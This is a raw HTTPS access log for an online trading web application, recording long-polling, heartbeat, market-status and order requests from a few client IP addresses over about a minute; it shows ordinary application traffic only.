[09/Jan/2026:14:18:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939814968 HTTP/1.1" -
[09/Jan/2026:14:19:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939809343 HTTP/1.1" -
[09/Jan/2026:14:19:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939812723 HTTP/1.1" -
[09/Jan/2026:14:19:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939829185 HTTP/1.1" -
[09/Jan/2026:14:19:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939820317 HTTP/1.1" -
[09/Jan/2026:14:19:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939814436 HTTP/1.1" -
[09/Jan/2026:14:19:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939817862 HTTP/1.1" -
[09/Jan/2026:14:19:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939835185 HTTP/1.1" -
[09/Jan/2026:14:19:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939819515 HTTP/1.1" -
[09/Jan/2026:14:19:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939822910 HTTP/1.1" -
[09/Jan/2026:14:19:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939825385 HTTP/1.1" -
[09/Jan/2026:14:19:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939841187 HTTP/1.1" -
[09/Jan/2026:14:19:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939824569 HTTP/1.1" -
[09/Jan/2026:14:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939828111 HTTP/1.1" -
[09/Jan/2026:14:19:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939835143 HTTP/1.1" -
[09/Jan/2026:14:19:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939829798 HTTP/1.1" -
[09/Jan/2026:14:19:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939847199 HTTP/1.1" -
[09/Jan/2026:14:19:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939833244 HTTP/1.1" -
[09/Jan/2026:14:19:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939840210 HTTP/1.1" -
[09/Jan/2026:14:19:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939834864 HTTP/1.1" -
[09/Jan/2026:14:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939853199 HTTP/1.1" -
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939838382 HTTP/1.1" -
[09/Jan/2026:14:19:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939845237 HTTP/1.1" -
[09/Jan/2026:14:19:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:19:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:14:19:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939839905 HTTP/1.1" -
[09/Jan/2026:14:19:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939859197 HTTP/1.1" -
[09/Jan/2026:14:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939843442 HTTP/1.1" -
[09/Jan/2026:14:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1211
[09/Jan/2026:14:19:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939850362 HTTP/1.1" -
[09/Jan/2026:14:19:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939844970 HTTP/1.1" -
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:19:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1800
[09/Jan/2026:14:19:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939848556 HTTP/1.1" -
[09/Jan/2026:14:19:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939855421 HTTP/1.1" -
[09/Jan/2026:14:19:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939865185 HTTP/1.1" -
[09/Jan/2026:14:19:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939850032 HTTP/1.1" -
[09/Jan/2026:14:19:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939853602 HTTP/1.1" -
[09/Jan/2026:14:19:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939860517 HTTP/1.1" -
[09/Jan/2026:14:19:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939871193 HTTP/1.1" -
[09/Jan/2026:14:19:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939855429 HTTP/1.1" -
[09/Jan/2026:14:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939858762 HTTP/1.1" -
[09/Jan/2026:14:19:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939865585 HTTP/1.1" -
[09/Jan/2026:14:19:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939877193 HTTP/1.1" -
[09/Jan/2026:14:19:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939860495 HTTP/1.1" -
[09/Jan/2026:14:19:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939863890 HTTP/1.1" -
[09/Jan/2026:14:19:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939870683 HTTP/1.1" -
[09/Jan/2026:14:19:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:19:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:19:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:19:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939865574 HTTP/1.1" -
[09/Jan/2026:14:19:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939883185 HTTP/1.1" -
[09/Jan/2026:14:20:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939875712 HTTP/1.1" -
[09/Jan/2026:14:20:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939869028 HTTP/1.1" -
[09/Jan/2026:14:20:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939889187 HTTP/1.1" -
[09/Jan/2026:14:20:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939880791 HTTP/1.1" -
